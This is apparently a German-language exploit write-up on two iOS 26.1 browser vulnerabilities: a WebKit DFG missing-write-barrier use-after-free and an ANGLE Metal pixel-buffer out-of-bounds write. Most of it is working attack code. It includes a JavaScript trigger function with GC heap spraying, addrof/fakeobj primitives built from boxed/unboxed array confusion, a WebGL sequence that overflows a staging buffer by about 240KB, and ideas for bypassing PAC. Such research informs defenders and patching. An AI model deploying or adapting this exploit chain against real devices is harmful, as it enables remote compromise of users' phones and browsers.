WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1)
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Zusammenfassung
- DFG Store Barrier bug (CVE-2025-43529): In
DFGStoreBarrierInsertionPhase.cppverursacht ein Phi-Knoten, der als escaped markiert ist, wĂ€hrend seine Upsilon-EingĂ€nge es nicht sind, dass die Phase das EinfĂŒgen einer Schreibbarriere bei nachfolgenden Objektstores ĂŒberspringt. Unter GC-Druck lĂ€sst das JSC dadurch noch erreichbare Objekte freigeben â use-after-free. - Exploit target: Erzwinge, dass ein
DateObjekt ein butterfly materialisiert (z. B.a[0] = 1.1), sodass der butterfly freigegeben wird und dann als Array-Elementspeicher wiederverwendet wird, um boxed/unboxed-Verwirrung zu erzeugen âaddrof/fakeobjPrimitiven. - ANGLE Metal PBO bug (CVE-2025-14174): Das Metal-Backend allokiert den PBO-Staging-Buffer unter Verwendung von
UNPACK_IMAGE_HEIGHTanstelle der tatsĂ€chlichen Texturhöhe. Wenn man eine sehr kleine unpack height angibt und dann ein groĂestexImage2Daufruft, fĂŒhrt das zu einem staging-buffer OOB write (~240KB im PoC unten). - PAC blockers on arm64e (iOS 26.1): TypedArray
m_vectorund JSArraybutterflysind PAC-signed; das FĂ€lschen von fake objects mit vom Angreifer gewĂ€hlten Zeigern fĂŒhrt zu AbstĂŒrzen mitEXC_BAD_ACCESS/EXC_ARM_PAC. Nur das Wiederverwenden bereits signierter butterflies (boxed/unboxed-Uminterpretation) funktioniert.
Auslösen der fehlenden DFG-Barriere â UAF
function triggerUAF(flag, allocCount) {
const A = {p0: 0x41414141, p1: 1.1, p2: 2.2};
arr[arr_index] = A; // Tenure A in old space
const a = new Date(1111); a[0] = 1.1; // Force Date butterfly
// GC pressure
for (let j = 0; j < allocCount; ++j) forGC.push(new ArrayBuffer(0x800000));
const b = {p0: 0x42424242, p1: 1.1};
let f = b; if (flag) f = 1.1; // Phi escapes, Upsilon not escaped
A.p1 = f; // Missing barrier state set up
for (let i = 0; i < 1e6; ++i) {} // GC race window
b.p1 = a; // Store without barrier â frees `a`/butterfly
}
Wichtige Punkte:
- Platziere A im Old Space, um generational barriers auszulösen.
- Erzeuge ein indiziertes Date, sodass die butterfly das freigegebene Ziel wird.
- Spraye
ArrayBuffer(0x800000), um GC zu erzwingen und das Rennen zu verbreitern. - Das Phi/Upsilon escape mismatch verhindert das EinfĂŒgen der Barriere;
b.p1 = alÀuft ohne write barrier, sodass der GCa/butterfly einsammelt.
Butterfly-Reclaim â boxed/unboxed-Verwirrung
Nachdem der GC die Date butterfly freigegeben hat, spraye Arrays, sodass der freigegebene Slab als Elemente fĂŒr zwei Arrays mit unterschiedlichen element kinds wiederverwendet wird:
boxed_arr[0] = obj; // store as boxed pointer
const addr = ftoi(unboxed_arr[0]); // read as float64 â addr leak
unboxed_arr[0] = itof(addr); // write pointer bits as float
const fake = boxed_arr[0]; // reinterpret as object â fakeobj
Status auf iOS 26.1 (arm64e):
- Funktioniert:
addrof,fakeobj, 20+ address leaks per run, inline-slot read/write (on known inline fields). - Noch nicht stabil: generalisierte
read64/write64via inline-slot backings.
PAC constraints on arm64e (warum fake objects crash)
- TypedArray
m_vectorund JSArraybutterflysind PAC-signed; gefĂ€lschte pointers fĂŒhren zuEXC_BAD_ACCESS/ vermutlichEXC_ARM_PAC. - Die confusion primitive funktioniert, weil sie legitime signierte butterflies wiederverwendet; das EinfĂŒhren unsignierter attacker pointers schlĂ€gt bei der Authentifizierung fehl.
- Mögliche Bypass-Ideen: JIT-Pfade, die auth ĂŒberspringen; gadgets, die attacker pointers signieren; oder Pivoting durch das ANGLE OOB.
ANGLE Metal PBO Unterallokation â OOB write
Verwende eine sehr kleine unpack height, um den staging buffer zu verkleinern, und lade dann eine groĂe texture hoch, sodass die copy ĂŒberlĂ€uft:
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // alloc height
// staging = 256 * 16 * 4 = 16KB
// actual = 256 * 256 * 4 = 256KB â ~240KB OOB
gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
Hinweise:
- Fehler in
TextureMtl.cpp: Der Staging-Buffer verwendetUNPACK_IMAGE_HEIGHTstatt der tatsÀchlichen Texturhöhe auf dem PBO-Pfad. - In der referenzierten Probe ist der WebGL2 PBO-Trigger eingebunden, wurde jedoch auf iOS 26.1 noch nicht zuverlÀssig beobachtet.
Referenzen
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